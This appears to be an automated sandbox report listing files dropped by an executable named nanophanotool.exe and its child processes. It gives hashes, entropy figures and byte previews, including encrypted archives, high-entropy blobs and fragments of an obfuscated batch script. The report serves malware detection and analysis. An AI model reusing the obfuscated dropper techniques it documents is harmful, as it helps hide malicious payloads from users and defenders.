                                                                                                                                                                                                                                        Preview:............f.......P'....$*.....-...43@...4.H...4XK...4i]...4.f...4.m...4?p...4.v...4.x...4.z...4.~...4....4.....4?....4.....4....4.....4=....4z....4a....4....4....4.....4.....4.....43....4.....4.....4J....4J....4.....4.....4#....4j....4J....5.....5....v5.:..w5.;..x5.<..y5.>..z5a?...5.?...5.D...5.E...5dJ...5.O...5.V...5.f...5.w...5.x...5.|..n<&...x<....y<....z<....{<....|<....<+....<r....<8....</....<....V@....W@....X@x...Y@d...Z@....[@2...\@O...]@....^@...._@hh..`@....<A....=A.....P.~...Pe....PX....P.....P.....Pt....P.....P3....Q.....QF....Q.....Q.....Q.....Q[....QA....Q.....Q.....QW....Q.....Qv....Q9!...Q.'...QF....Q.1..,Q.F..-QsL...QLN../Q.P..0Q.U..1Q.i..2Q.j..3Q.k..4QEm..5Q.o..6Q.r..7Q~t..8QEw..9Q!x..:Q.z..;Ql...<Q)...=Q....>Q ...?Q"....R....Ry....}.....}. ...}._...}%a...}[h...}.h...}[j...}Lo...}....}.&...}.....}.6...}4;...}.=...}&B...}mG...~.O...~.d...~.q...~.t...~.|...~.}..!~...."~....#~...$~|...&~....'~A...(~....)~....*~t$..+~.4..,~.6..-~V8...~.;../~i<..0~|=..1~iA..2~.H
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):273328
                                                                                                                                                                                                                                        Entropy (8bit):3.2521181832662194
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:1536:MpeVehd7eASb6iAGm4hmWRSJTnBSki+TfUNp2Zg+TEJ0xEI2tWaw8MCZ72T04GO9:YdyNm4mWRSJTBSXsU1vJzbYB
                                                                                                                                                                                                                                        MD5:8915DD2A6D6B4EBF9A16C77FE063D8DE
                                                                                                                                                                                                                                        SHA1:A03132ADCB99A82BA269D56AB6577CCFD1BB08E5
                                                                                                                                                                                                                                        SHA-256:C1802B29B13663A8890031411270866834246931F71F41397682DD88FA16D485
                                                                                                                                                                                                                                        SHA-512:ABD93CDD634AD4D38B7E3714B183335CDDB9E3AD14660247CC7285066C95342AC8595D68CD0868B8512E73BB656AB54386045533F998576B2CD6501BF456CD2C
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:............11.2.214.9-electron.0............................................;...b...........:..a........a........a........ar.......a........a..............Y.D............`$.........D............`$.......D............`$.......m.D............`$.........D............`D.........D............`$.......1.D............`$.......D............`$.......D............`$.........D............`$.......D............`$......ID............`$.......D............`$.......D............`$....(Jb....I.....@..F^......`.....(Jb....M.....@..F^..`.....H...IDa........D`....D`....D`.......D`.....D]D....D`......WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa............L.............................................................................................................................................................
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):588152
                                                                                                                                                                                                                                        Entropy (8bit):4.83735352889622
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:bFzofuYUahtcOm3A0Tg8zY8y4XrxXSIIBYgHi:JMfu/fTY8zrM9C7
                                                                                                                                                                                                                                        MD5:4CD37EA771EA4FE2F3AD46217CC02206
                                                                                                                                                                                                                                        SHA1:31680E26869B007E62550E96DBF846B3980D5B2B
                                                                                                                                                                                                                                        SHA-256:95F7B8664306DA8D0073A795E86590ED6FDAEDE5F489132E56C8779F53CF1ED5
                                                                                                                                                                                                                                        SHA-512:E1369734CBE17AAF6DD3CEEFB57F056C5A9346D2887A7D3EE7ED177386D7F5E624407869D53902B56AB350E4DED5612C3B0F52C2DD3EFA307E9947701068A2A0
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:.........c~.11.2.214.9-electron.0...........................................H...P<..........X...........a........a........aT.......ar.......a........a..............Y.D............`$.........D............`$.......D............`$.......m.D............`$.........D............`D.........D............`$.......1.D............`$.......D............`$.......D............`$.........D............`$.......D............`$......ID............`$.......D............`$.......D............`$....(Jb....I.....@..F^......`.....(Jb....M.....@..F^..`.....H...IDa........D`....D`....D`.......D`.....D]D....D`......WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa............L.....................................................................................................................................................
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):5334528
                                                                                                                                                                                                                                        Entropy (8bit):6.335261874351837
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:98304:RKJSTu+985EkjstvgsnpkkHF3y/AFIB7:RQq85EkjstvgsnpkkJETB
                                                                                                                                                                                                                                        MD5:524B0D85D992F86A7F26C162F3DBB91C
                                                                                                                                                                                                                                        SHA1:BC9C862FD01F6134A0514DCB63F9FAB7A61CE269
                                                                                                                                                                                                                                        SHA-256:5B2FFB78FA963F2DEA5A7FCF7676FC3ABA243C4372D7528C8F1FC8F726D0A3FA
                                                                                                                                                                                                                                        SHA-512:422A18AF294D7551224E05F5F4F5DCFA51B3455C2E61FC285FD2B95B50274EB77FF317647E17B0E7D47459B4FED19C7C88C90E0878F2269A78D598B1196401D8
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." ......A..........;.......................................R...........`A..........................................L.~...&.L.P....`R.......P.<_...........pR.X}...L.......................L.(...@.A.@.............L.P............................text.....A.......A................. ..`.rdata...(....A..*....A.............@..@.data...p.....M.......M.............@....pdata..<_....P..`...LO.............@..@.00cfg..8.....Q.......P.............@..@.gxfg....,....R.......P.............@..@.retplne.....0R.......P..................tls....Q....@R.......P.............@..._RDATA..\....PR.......P.............@..@.rsrc........`R.......P.............@..@.reloc..X}...pR..~....P.............@..B................................................................................................................................................................................
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:JSON data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):106
                                                                                                                                                                                                                                        Entropy (8bit):4.724752649036734
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:YD96WyV18tzsmyXLVi1rTVWSCwW2TJHzeZ18rY:Y8WyV18tAZLVmCwXFiZ18rY
                                                                                                                                                                                                                                        MD5:8642DD3A87E2DE6E991FAE08458E302B
                                                                                                                                                                                                                                        SHA1:9C06735C31CEC00600FD763A92F8112D085BD12A
                                                                                                                                                                                                                                        SHA-256:32D83FF113FEF532A9F97E0D2831F8656628AB1C99E9060F0332B1532839AFD9
                                                                                                                                                                                                                                        SHA-512:F5D37D1B45B006161E4CEFEEBBA1E33AF879A3A51D16EE3FF8C3968C0C36BBAFAE379BF9124C13310B77774C9CBB4FA53114E83F5B48B5314132736E5BB4496F
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:{"file_format_version": "1.0.0", "ICD": {"library_path": ".\\vk_swiftshader.dll", "api_version": "1.0.5"}}
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):928256
                                                                                                                                                                                                                                        Entropy (8bit):6.558092096809165
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:24576:IEW7F7IyaHx/fempu2e6Z5WODYsHh6g3P0zAk7o:e7IyaBfempa6Z5WODYsHh6g3P0zAk7
                                                                                                                                                                                                                                        MD5:6D4ADF9A48DBCE2E480EF10B1338CA3C
                                                                                                                                                                                                                                        SHA1:CEB77D5768C6EDA84EC8E0B43821B8027764DE81
                                                                                                                                                                                                                                        SHA-256:4CCA7E6C05B2D988926E4B4D0C8FF91D6356F18DE8BF40B440251180E5CAD6A7
                                                                                                                                                                                                                                        SHA-512:106DB7309B40AFABB1CCA911B204C83129683DC116AEC198568C4228C581BF0DE5963BFFC0B50DF8F43EC355264F271FC383F4155BE45350C0D7DD429C7F7F09
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." ......................................................................`A........................................H...<!......P...............<o..............T...t.......................X...(...@...@............................................text............................... ..`.rdata..............................@..@.data....L...p... ...V..............@....pdata..<o.......p...v..............@..@.00cfg..8....0......................@..@.gxfg...P(...@...*..................@..@.retplne.....p...........................tls................................@..._RDATA..\...........................@..@.rsrc...............................@..@.reloc..T...........................@..B................................................................................................................................................................................
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe
                                                                                                                                                                                                                                        File Type:Zip archive data, at least v2.0 to extract, compression method=deflate
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):1016954
                                                                                                                                                                                                                                        Entropy (8bit):7.999517046741847
                                                                                                                                                                                                                                        Encrypted:true
                                                                                                                                                                                                                                        SSDEEP:24576:Jeb1R4kGVenKNOzFr+Wt4UQxe9qnsYztN6gsXl7V:Jeb8kGmWOF+vDeQtN6gulR
                                                                                                                                                                                                                                        MD5:4BA3814DC945A57AFBCF66A8C4D764EE
                                                                                                                                                                                                                                        SHA1:80FD96034735364129B60DB5C649B2D85F0DCE0F
                                                                                                                                                                                                                                        SHA-256:3828EEFEE4914806A6A59B0ADED5A6354BB858FCC0BE7D4B3AA120138CA99083
                                                                                                                                                                                                                                        SHA-512:D6AB921D5ACDD68237EFE37B1809443BD56543D6242906E42560C4DD092A28592AED9EB9644E7642CFDD0DD2DDAC1277316122C3547037411866417D3580B95B
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:PK........;..Y.............RepublicChoir.exe...XSY.8.....bPA.....f...E!.(.... ".".B". 8...qlc..b..8.PP..X.+*........s..'.........w....|......k...z...2.(J..e)*..>....)....V..7...&..>U..m...1/*p.uP`xx..zN.u.*.:4..m..zA....ff.6z.c...7.xaxS0.3r....?....'.v..rxK..k.... .SB..X..'...&...=&7.R|..........R.1,a..7.k->.)..~.(.|.2'.).l...I$#.m.m.!....uR.{q..x.`s.7)<..R.ZR..........*..c.VG..R.;...5.>0jn.2.....m..a..<zj...Q..ZPT.G.j.......h.t.hA..O"....(=M....._.........E..KO....K.......S..R...v..N.-Tf.qV.....f.@..Y.)......P....R_.!..e..=....$..+)..4Y.....qt|.:.......e5P.....i__.1....bD...n.f5^..Y.B...2yC...$..1/. ..i/..... .I.....I..gB..,..h.jX.qP.Z\!..4.#S.r3`.,.;j1#p.gD..Y.U/..*..ECX...@.,...>t...'...D...3BT.......&c-..F`....A..[....+X.......Fj4.tRo3.vA|..}....)z.. %..I........U..J._Y.B.=..p.R...[.W1=.'...l...C.*[.lI.ON....We..L..../x..5V.X...umf..E....7..@.`.....*.e..v.._.i....JSG/Se.u.y..p.......Y..8+!-J..CD...).. '-.|T.U..J.V\_..S...^j..'C.G.}V
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):55296
                                                                                                                                                                                                                                        Entropy (8bit):7.996499785945317
                                                                                                                                                                                                                                        Encrypted:true
                                                                                                                                                                                                                                        SSDEEP:768:gC7oboDpGourOORenUide8DPWtjaacrxa0WegBd9beFDySheTs0CHB:g1prsnLzWUacrxCegBdVsy/BCHB
                                                                                                                                                                                                                                        MD5:7A88947E1D2089117CCCE703D37B9591
                                                                                                                                                                                                                                        SHA1:36806DF353BF5465D7093FB3309BC960D36C14C3
                                                                                                                                                                                                                                        SHA-256:3918636E8402222471758AF2A9A707A278B16D827D1D84711C6124049D67EEEF
                                                                                                                                                                                                                                        SHA-512:5F47E6DB03A562DF8DB756BDDEFB1EE76B0809E282C015D0EFC2DAADDDEB993FB1EA886907FC646758591D0664B8DEB3E92C74A5FFADB0821B6FEE87CE8FDF21
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:F..0NE..W..M....=..A.U."Nuxj...l5.G.Py$..;n...C.[....&"u.l...Xu*S.n...8...]...&f..wC....t....$w.2...7.v'.y...h..........S5.E.eG2.ez.~..+..^..[j..dW.....z...x..2..._....... .#-S/..'!....h...m......i..e...u... ..U.,u.Z.<.2.`..y.....Y,]A...\.E.b.&.m?A......5..W..1...*.d.!...t]...c,^'....0...4T.q7o .N..?..W..^.Tb)...k..Y. ..}..D..c....u#.P..."{.{]c...)...Y..$.a.F..5\..f.G...V&..lr.qD..e0..].S.F....dD.._.. 1.{q....yf.E..)v..D.L....b|..tE(.r..P&..Q....?.P..+bK2.......|......nG,..>@.....5.f.SBH..LV.R!.bB..p......XD...y...~t.z...}5v1e1.0.1..-v|.+OQI.6.eB.`.B.j.ZChB...3...I.pB.z.1T.....~M..,......!..&`{... (..z.R...J..2Mh,bnt...X...O..8.]A...(.t;.R...S6`&..Y....U....v.2....*.D^.]....@.....T?..._@..,{.<\d-.>...:..8.....AS..i.v...2..E....?m..0,,Tv.~RU.a..Gc.&...f..Yy>t....f&..*.&..xt\A......lD...F.}.?.Z.X'Tx5w....).j..T....#Rz..P'..|..4..b.nuL...`... ...J;.lY.].R.#.M.D2..Xn.w..h......`.aYrc...9p..D....(;....k.....c...m...Y.ph...R...l.4...Q.WH.8..9.6.N.;
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):148480
                                                                                                                                                                                                                                        Entropy (8bit):5.453649059638203
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:1536:vKaj6iTcPAsAhxjgarB/5el3EYrDWyu0uZo2+9BGmdAx:n6whxjgarB/5elDWy4ZNoGmY
                                                                                                                                                                                                                                        MD5:D0500BE9CFFD7EB061D962A6B7CAD0E2
                                                                                                                                                                                                                                        SHA1:08286323D43AB5C7639A8942900E70C91CE1C2B8
                                                                                                                                                                                                                                        SHA-256:E4C798C3F44D8D2A4B834ED1BD9A0E5AE9AA5159D0721D7A5827738260EC8C5B
                                                                                                                                                                                                                                        SHA-512:BADB4BD2706F79F1F78A2D1666FCB75103723634B96B1A314199D34D7C710D88ABE4D89733AC5BAB3B023E6D5C4CFED92B6B50729CE7938E87F9CF768F4F93F6
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:_._._.a.a.r.r.r.r.b.b.b.b.b.c.c.c.c.c.c.c.r.r.r.r.r.r.r.r.r.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.r.r.r.e.e.e.e.e.e.e.f.f.f.f.f.f.f.f.f.f.f.f.f.f.f.f.f.f.f.f.f.f.r.r.g.g.g.g.g.g.g.g.h.h.h.h.h.h.h.h.h.h.h.h.h.h.h.h.h.h.h.r.r.r.r.r.i.i.i.i.i.i.i.i.j.j.j.j.j.j.j.j.j.j.j.j.j.j.j.j.j.j.r.r.r.r.r.r.r.k.k.k.k.r.r.r.r.r.r.r.r.r.r.r.r.l.l.l.l.l.l.l.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):91136
                                                                                                                                                                                                                                        Entropy (8bit):6.672372205419744
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:1536:0u6/sPYcSyRXzW8/uC6LdTmHwANUQlHS3cctlxWboHdMJ3RraSXL21rKoUn9rg:A/sZydTmRxlHS3NxrHSBRtNPn+
                                                                                                                                                                                                                                        MD5:BB885B883703643C20E78F02AD46720D
                                                                                                                                                                                                                                        SHA1:F6DF37A522437583AA94E85074FE102628691124
                                                                                                                                                                                                                                        SHA-256:EC6DDF136F59AD6916CA5004C394556CB81791FDA2EB906D682B1CBAAF383E18
                                                                                                                                                                                                                                        SHA-512:9DFAF193FA00D26849481AC2B85360673935A52073228C54C4A196F4984D4214ADAA84B598434DEA0A0EDC2F8C84BFE5BC42A467AFC6DFC02862F08A991D6517
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:.FD......L....E.<G.E.@.}..E.;E.|..2............%...;............Fh.............."............:"...$.7.E.;M...Z....N|;........V...t..F.j.PQ..........t-.....V....+.;.w.f..f;F4u..........f.G.f;F6tw.......t1.G.;F|r).~..u#.~..u.f..f;F4u..Fh..............!...E...@.}..E.;E...\....%.......t.;.....v..Fh..............!...U.....)M.N|..+...9E.v7..........}...d...;.......X....Fh.............D....F!...E.<G.}..1...;M...(....N|;.sy......u.....}.;.......f.?.tF.J...t?.~l..........t0...t+.E....f;E.t..E.( ..f;E.t..E.) ..f;E...........}..E.@.E.;E.|..................;............Fh.............{....} ..;M...m...;~|s....=....w2..X...=....w...K........B..... uG.8...=....u;.,...=_ ..w$......=. ..r"=. ........=/ ..u......=.0...........A.}.;M...y........;M.......;~|..'......=....w&tV=....w.tM...tH.. tC....=....t7....=_ ..w t)=. ........=. ..v.=/ ..t..x...=.0....m......A.}.;M.|..\...;M...S...;~|.........=....w...:......r....w..+...=( ..r.=) ...........A.}.;M.|......;M.......;~|..N......=....w.t.......
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):76800
                                                                                                                                                                                                                                        Entropy (8bit):7.997595823864017
                                                                                                                                                                                                                                        Encrypted:true
                                                                                                                                                                                                                                        SSDEEP:1536:k/BHYcMJiMWxyYmO90292flK0y+2gKHq1CtaCGBNeC6t3AfzqVHV0b25rq:dPuxy/O902MNv2jOCICG3edTV10652
                                                                                                                                                                                                                                        MD5:C44EBF110F2C10FE35771A6E0B9D9C4D
                                                                                                                                                                                                                                        SHA1:189DFFEDD9280EAEACC711B941DD43F7496B1AA2
                                                                                                                                                                                                                                        SHA-256:512FA4E5F31E11C8B076807E9D0BEF03CA885E69D3AC7C035136837BC74D64BB
                                                                                                                                                                                                                                        SHA-512:8E84DA65D104804A03809BA8103AE203E8AC4706226FA47F51B0AB60322E02781777EC1950A57391C60FC52BBBAB3619ABC13BDF2834EFF9CE229FE1D4C8D08F
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:.I.=(.V.7..3.}....NW.-.. .._..Sc7..T.{....}.-.\M..g....8..9h.T Bm.T...O.\..=~e.|.P..-.....3...d.=m'....]kN..,...F.h..E...U.ve.Yi.za.\,..\C..X....._..w>......t"..&.o6.p.x......<.6..0G.t+"F....P...m.....wT.c3...]...\..Z.JG..L...........#.. ..g.i.#...s.p.Mg.'.a..u...r.....5.Vb:II..s...TtZn'.M...:L9...XG......,..6....SD..OV....1..*....N.FjEV...[x.DP=.8w....8.$.....rv...n4...d1"..!.....m....j.6.V.Vh..3hrZ....0.W.....Uv.t...>..z.| ...!.... N.ZRs....B..|.6....~..Z....1.A.<...OJw..9.........,.....l0E"..Yj....=.-....oX......3...0...-..X'<(...y.......80.)k.Q..P.U`t...... l8..Mu%H..9.GY..2ToL3Q....n.......2.g..k.>..O...*.h.DK8.K...........m.....V.]........$.B..>.y.....h1i&T..L`.1\>........z.NV...&...l....<.$X.(......f;..t......A.?.<.k`-...%VT...G.Q.'=.^.<...]`......p>...sE4.W6...#../...=9..#..M.k....,.0.O...e.h.wi.^Y*..|..v....xmK.c.....K.c+mw.=_vT=bu'.e".H.<....u..'....m9eX........[~@..6...o.........:....j.-.8.ri..]Z.Z.q.(.s...p.x..%..q.|o^....
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):84992
                                                                                                                                                                                                                                        Entropy (8bit):5.877357312096663
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:768:Xq6LqgaHbdMNkNDUzSLKPDvFQC7Vkr5M4INduPbOU7aI4kCD9vmPukxhSaAwuXcx:XtmgMbFuz08QuklMBNIimuzaAwusPx
                                                                                                                                                                                                                                        MD5:7970D76303D3A784051FABC849EC4C9B
                                                                                                                                                                                                                                        SHA1:09897A6735A90B225B6FF89255CDD189172D430B
                                                                                                                                                                                                                                        SHA-256:1B3885A8E3161F8DC1BA786265AF3C53E3CA8DB56EB654F516AA3BFD778A9281
                                                                                                                                                                                                                                        SHA-512:AEBB9FAC1E16346D37CBC32472DE8E9BAEB30DEBC51C796DB4F090BAF45B3A1D4070170C9424AD3852292DEBBE8EC75E029DB80D53959EAD8B390528360D7593
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:..u?^p?o4.0=....!9v?..W.?N=..<...v?+.#.GYM=..H..w?q.C...@=....Pex?0..&..=..X...y?....8..=...<8.y?!.({=.H=.. ...z?.d,G..B=....6K{?...E.M=.....|?w.3.1.!=....L.|?..^.X-F=...<.w}?0...!.O=....y1~?|"..Q<=..$...~?..k.f.@=...+...?...b.UC=....4/.?*.K_.<*=..<..t.?...x.I=...2..?wY.V%A+=.......?x.+s7.E=..8#o..?.e..fE=...|R.?K.s..E=..T.8E.?.=....(=....!..?..)...G=.......?#F...K=..V..[.?...C..<..:..?k.V...I=.......?.....YH=.....r.?.q..4';=...~..?...=.S7=...'.,.?7...X.#=..4...?C..k..7=..bB..?..E.pC=..B..C.?'.2x.k==.....?.WU..A=..xm..w.$..V.cE.....v.K..[..7....G.Qv.e$.l..F.......u..y...H....g.u.|...%I......=u...?..FK.......t.S'.q.! ....Y.t..L8|..H...dw.)t...v.#.L...l&..s....>..D....f.qs.g~..7.(....7..s...6..uE...(...r.uv...E,...t..]r..L..v.O.......r.....p.....&..q.C.."5.F.....zIq.o.....O.....j.p.......O...|.W.p...../N....#D5p.O.../3N.....^.o....I..!...`.1.n....D.CE....".Bn..u..^!E....W.m....--.0.......l..N...pC...P&`.l......J....$ak.....N.....8x.j..[...-=...8R..i.y..~
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with very long lines (1000), with CRLF line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):17853
                                                                                                                                                                                                                                        Entropy (8bit):5.123944192306951
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:AuEDSf6dFwmzWDTsf4p5MvwMcy8gUB12KHB9Zu6SEuNpIsxSZLv3vPFE6TSEf5Ss:nEeIqDTsC5MvdvU2Khru6SEuNpIsxSZb
                                                                                                                                                                                                                                        MD5:670605E0B1A0B0DB743CC8FD0E289FF0
                                                                                                                                                                                                                                        SHA1:0780DD3C0223E6C6AD4337A84B44C01DB6D75E0E
                                                                                                                                                                                                                                        SHA-256:EACDBFBA01BB38F76180A16AC16BC02C01135AEF46F9BCB4EF2B648745F6883F
                                                                                                                                                                                                                                        SHA-512:B71BCA63130DD74A95399E242DB331C9B1589FB9EB15724553C50BF20FF4145D82267F2D0421D62027A31A0ECAEFD917CECBC9A1F3E73AFB05C667C4833F46D5
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:Set Wants=S..ybProvide-Developing-Staffing-Secured-Policies-Boolean-Trouble-..fNBfAssumptions-Authors-..aLDod-Summit-Laptops-Spanish-Betting-Exploring-Shipment-Colon-..PspqFuture-Ring-Passed-Malta-Speaks-Reason-Inspection-Instruments-..iTiConfigured-Repeated-Meal-Jc-Forum-..jpRHide-Rescue-..TWhVon-Naples-Libs-Headset-Roy-Eminem-Holocaust-Resistance-Louis-..cQzaVarious-Taxes-Oe-Household-Brunswick-Exclusion-Westminster-Securely-Ringtone-..BDkOSubsidiary-London-Contributions-Length-..Set Conversation=h..PTFl-Recognised-Ate-Sort-Delight-Retain-..AkjCalvin-Cet-Settings-Overview-Balance-Infant-Meditation-Blackberry-..DxNJoseph-Turned-Kingston-Platform-..wHAtTerrorism-Very-Noon-Passive-Toolkit-Angle-Structured-Hong-Mechanics-..YnEUsing-Wrong-Basic-Ray-Protected-Humidity-..XYFisheries-Est-Distant-Technological-Penalty-Condo-..feiPositive-Isbn-Shakespeare-Passive-Associate-Museum-Census-Stewart-Hebrew-..qsSSupports-Village-Transition-Sexo-Period-Wear-Used-..Set Dare=C..JxcTSpot-Shame-Redhead-D
                                                                                                                                                                                                                                        Process:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with very long lines (1000), with CRLF line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):17853
                                                                                                                                                                                                                                        Entropy (8bit):5.123944192306951
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:AuEDSf6dFwmzWDTsf4p5MvwMcy8gUB12KHB9Zu6SEuNpIsxSZLv3vPFE6TSEf5Ss:nEeIqDTsC5MvdvU2Khru6SEuNpIsxSZb
                                                                                                                                                                                                                                        MD5:670605E0B1A0B0DB743CC8FD0E289FF0
                                                                                                                                                                                                                                        SHA1:0780DD3C0223E6C6AD4337A84B44C01DB6D75E0E
                                                                                                                                                                                                                                        SHA-256:EACDBFBA01BB38F76180A16AC16BC02C01135AEF46F9BCB4EF2B648745F6883F
                                                                                                                                                                                                                                        SHA-512:B71BCA63130DD74A95399E242DB331C9B1589FB9EB15724553C50BF20FF4145D82267F2D0421D62027A31A0ECAEFD917CECBC9A1F3E73AFB05C667C4833F46D5
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:Set Wants=S..ybProvide-Developing-Staffing-Secured-Policies-Boolean-Trouble-..fNBfAssumptions-Authors-..aLDod-Summit-Laptops-Spanish-Betting-Exploring-Shipment-Colon-..PspqFuture-Ring-Passed-Malta-Speaks-Reason-Inspection-Instruments-..iTiConfigured-Repeated-Meal-Jc-Forum-..jpRHide-Rescue-..TWhVon-Naples-Libs-Headset-Roy-Eminem-Holocaust-Resistance-Louis-..cQzaVarious-Taxes-Oe-Household-Brunswick-Exclusion-Westminster-Securely-Ringtone-..BDkOSubsidiary-London-Contributions-Length-..Set Conversation=h..PTFl-Recognised-Ate-Sort-Delight-Retain-..AkjCalvin-Cet-Settings-Overview-Balance-Infant-Meditation-Blackberry-..DxNJoseph-Turned-Kingston-Platform-..wHAtTerrorism-Very-Noon-Passive-Toolkit-Angle-Structured-Hong-Mechanics-..YnEUsing-Wrong-Basic-Ray-Protected-Humidity-..XYFisheries-Est-Distant-Technological-Penalty-Condo-..feiPositive-Isbn-Shakespeare-Passive-Associate-Museum-Census-Stewart-Hebrew-..qsSSupports-Village-Transition-Sexo-Period-Wear-Used-..Set Dare=C..JxcTSpot-Shame-Redhead-D
